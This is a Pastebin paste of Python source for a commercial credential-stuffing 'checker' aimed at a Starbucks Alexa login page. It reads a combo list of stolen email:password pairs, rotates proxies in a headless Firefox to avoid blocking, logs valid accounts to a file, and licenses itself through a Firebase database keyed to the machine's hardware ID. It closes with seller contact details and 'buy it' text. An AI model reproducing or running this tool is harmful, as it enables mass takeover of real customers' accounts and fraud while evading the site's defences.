Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from selenium import webdriver
- from selenium import webdriver
- from selenium.webdriver.support.ui import WebDriverWait
- from selenium.webdriver.support import expected_conditions as EC
- from selenium.webdriver.common.by import By
- from selenium import webdriver
- from selenium.webdriver.firefox.options import Options
- import os, json, concurrent.futures, datetime
- from tkinter import *
- from tkinter.filedialog import askopenfilename
- import os, subprocess
- from colorama import init
- import os, colorama
- from colorama import Fore, Style, Back
- import time, random
- from random import randint
- def cls():
- os.system('CLS')
- colorama.init()
- init(autoreset=True)
- def lynx():
- print(' ')
- print(' ')
- print(' ')
- print(' ')
- print(' ')
- print(' ')
- print(Fore.GREEN + '`.. `..`.. `..`.. `..`... `.. ')
- print(Fore.GREEN + '`.. `.. `.. `.. `.. `..`. `.. `.. ')
- print(Fore.GREEN + '`.. `. `.. `.. `.. `.. `..`.. `.. `.. ')
- print(Fore.GREEN + '`.. `.. `.. `.. `.. `..`.. `.. `.. ')
- print(Fore.GREEN + '`.. `. `.. `.. `.. `.. `..`.. `. `.. ')
- print(Fore.GREEN + '`. `. `.... `.. `.. `..`.. `. .. ')
- print(Fore.GREEN + '`.. `.. `.. `........`..`.. `.. ')
- print(' ')
- print(Fore.RED + ' SAMSCLUB k1.0')
- print(' ')
- print(' ')
- print(' ')
- print(' ')
- print(' ')
- print(' ')
- print(' ')
- print(Fore.MAGENTA + 'Noxy/wylin ')
- lynx()
- import pyrebase
- config = {'apiKey':'AIzaSyCezNa7l_a1D4HzKlK7TkBGx_hB1t2-bak',
- 'authDomain':'starbucks-36b20.firebaseapp.com',
- 'databaseURL':'https://starbucks-36b20.firebaseio.com',
- 'projectId':'starbucks-36b20',
- 'storageBucket':'starbucks-36b20.appspot.com',
- 'messagingSenderId':'275061560398'}
- firebase = pyrebase.initialize_app(config)
- auth = firebase.auth()
- print(' ')
- reg = input('want to register ? y/n ')
- if reg == 'y':
- email = input('enter email password')
- password = input('enter password')
- print('if you have already registered and registering again with a new email will lead to ban. ')
- try:
- auth.create_user_with_email_and_password(email, password)
- except:
- print('email and password already registered')
- print(' ')
- resset = input('want to reset password ? y/n')
- if resset == 'y':
- email = input('enter your email ')
- try:
- auth.send_password_reset_email(email)
- except:
- print('email does not exist in wylin databse')
- cls()
- lynx()
- print(' ')
- print(Fore.RED + 'Here we are login : ')
- print(' ')
- print(Fore.YELLOW + 'Enter your email ID ')
- email = input()
- print(Fore.YELLOW + 'Enter your password wrt your email ID : ')
- password = input()
- auth1 = True
- try:
- user = auth.sign_in_with_email_and_password(email, password)
- except:
- auth1 = False
- if os.path.exists('result.txt'):
- append_write = 'a'
- else:
- append_write = 'w'
- import winreg
- registry = winreg.HKEY_LOCAL_MACHINE
- address = 'SOFTWARE\\Microsoft\\Cryptography'
- keyargs = winreg.KEY_READ | winreg.KEY_WOW64_64KEY
- key = winreg.OpenKey(registry, address, 0, keyargs)
- value = winreg.QueryValueEx(key, 'MachineGuid')
- winreg.CloseKey(key)
- unique = value[0]
- auth2 = True
- db = firebase.database()
- xx = db.child('HWID').child(unique).get()
- if xx.val() == email:
- auth2 = True
- else:
- print('send this ' + unique + ' to email : wylin1337@gmail.com or skype : noxytruck@gmail.com')
- auth2 = False
- def randomproxy():
- x = len(Proxy_List)
- random = randint(0, x)
- return Proxy_List[random]
- def changeip():
- subprocess.Popen(['changeip.bat'])
- sam_ban = True
- def kill():
- driver.close()
- def driverx():
- global driver
- global profile
- PROXY, PORT1 = randomproxy().split(':')
- prefs = {'profile.managed_default_content_settings.images': 2}
- print(PROXY + ':' + PORT1)
- PORT = int(PORT1)
- profile = webdriver.FirefoxProfile()
- options = Options()
- options.add_argument('--headless')
- profile.set_preference('permissions.default.image', 2)
- profile.set_preference('network.proxy.type', 1)
- profile.set_preference('network.proxy.http', PROXY)
- profile.set_preference('network.proxy.http_port', PORT)
- profile.set_preference('network.proxy.ssl', PROXY)
- profile.set_preference('network.proxy.ssl_port', PORT)
- profile.set_preference('network.proxy.socks', PROXY)
- profile.set_preference('network.proxy.socks_port', PORT)
- profile.set_preference('network.proxy.ftp', PROXY)
- profile.set_preference('network.proxy.ftp_port', PORT)
- profile.update_preferences()
- driver = webdriver.Firefox(firefox_profile=profile, firefox_options=options)
- def login(username, password):
- try:
- driver.get('https://alexa.starbucks.com/?state=&client_id=starbucks-alexa-skill&response_type=code&auth_code=&redirect_uri=')
- driver.find_element_by_name('username').send_keys(username)
- driver.find_element_by_name('password').send_keys(password)
- driver.find_element_by_xpath("//button[@class='btn gold']").click()
- delay = 5
- import time
- try:
- wait = WebDriverWait(driver, 5)
- wait.until(lambda driver: driver.find_element_by_class_name('error'))
- print(Fore.RED + '[BAD] ' + Fore.YELLOW + ' %s:%s' % (username, password) + Fore.RED + ' Invalid email address/password')
- except:
- if driver.current_url == 'https://alexa.starbucks.com/':
- print('Changing proxy .......')
- kill()
- driverx()
- login(username, password)
- else:
- print(Fore.GREEN + '[WYLIN/NOXY] ' + Fore.GREEN + ' %s:%s - VALID CREDENTIALS ' % (username, password))
- emailpass = username + ':' + password
- total = '%s ' % str(emailpass)
- y = open('result.txt', append_write)
- y.write(total + '\r\n ')
- y.close()
- except Exception as e:
- login(username, password)
- def main():
- global Proxy_List
- print('LOAD PROXY LIST : ')
- proxy_file = askopenfilename()
- Proxy_List = open(proxy_file).readlines()
- driverx()
- print(' LOAD COMBO ')
- cls()
- lynx()
- filename = askopenfilename()
- with open(filename) as (f):
- credentials = [x.strip().split(':', 1) for x in f.readlines()]
- for username, password in credentials:
- login(username, password)
- if auth1 == True:
- if auth2 == True:
- cls()
- lynx()
- print(Fore.GREEN + 'WELCOME, WYLIN v1.0 STARBUCKS CHECKER : ' + Fore.MAGENTA + ' SUCCESS ')
- print(' ')
- print(' ')
- print(' ')
- print(' ')
- main()
- print(' buy it ! skype : noxytruck@gmail.com ')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement